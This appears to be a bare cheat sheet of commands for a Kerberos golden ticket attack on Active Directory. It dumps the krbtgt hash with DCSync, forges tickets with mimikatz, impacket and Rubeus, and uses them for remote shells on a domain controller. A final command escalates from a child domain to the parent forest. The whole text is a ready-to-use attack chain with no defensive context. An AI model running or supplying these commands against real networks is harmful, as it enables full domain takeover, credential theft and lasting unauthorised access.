Golden Ticket

impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-user krbtgt

mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

impacket-lookupsid DOMAIN/user:password@DC_IP

Get-ADDomain | Select DomainSID
whoami /user    # Strip last RID

mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:NTLM_HASH /ptt

mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:NTLM_HASH /ticket:golden.kirbi

impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-DOMAIN-SID -domain domain.local Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec domain.local/Administrator@DC -k -no-pass
impacket-wmiexec domain.local/Administrator@DC -k -no-pass

.\Rubeus.exe golden /rc4:KRBTGT_HASH /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /ptt

mimikatz # kerberos::ptt golden.kirbi
klist
dir \\DC\C$
psexec.exe \\DC cmd.exe

mimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:CHILD_SID /krbtgt:CHILD_KRBTGT /sids:S-1-5-21-PARENT-SID-519 /ptt